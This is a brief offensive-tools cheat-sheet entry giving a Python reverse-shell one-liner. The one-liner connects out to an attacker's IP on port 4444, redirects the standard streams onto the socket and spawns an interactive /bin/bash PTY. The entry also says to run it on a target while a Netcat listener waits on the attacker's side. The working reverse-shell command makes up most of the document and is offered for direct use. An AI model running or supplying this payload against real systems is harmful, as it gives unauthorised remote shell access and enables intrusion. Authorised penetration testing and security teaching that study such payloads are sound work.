Python Reverse Shell One-Liner
exploitationlinuxtool
Summary
One-line Python reverse shell that connects back and spawns an interactive /bin/bash PTY via pty.spawn.
Walkthrough
A compact Python reverse shell that connects back to your listener and spawns an interactive bash PTY.
Steps
- Start a Netcat listener on port 4444, then run the one-liner on the target with
<IP>set to your host.pty.spawn("/bin/bash")gives a semi-interactive shell out of the box.
Commands
bash
python -c 'import socket,os,pty;s=socket.socket();s.connect(("<IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'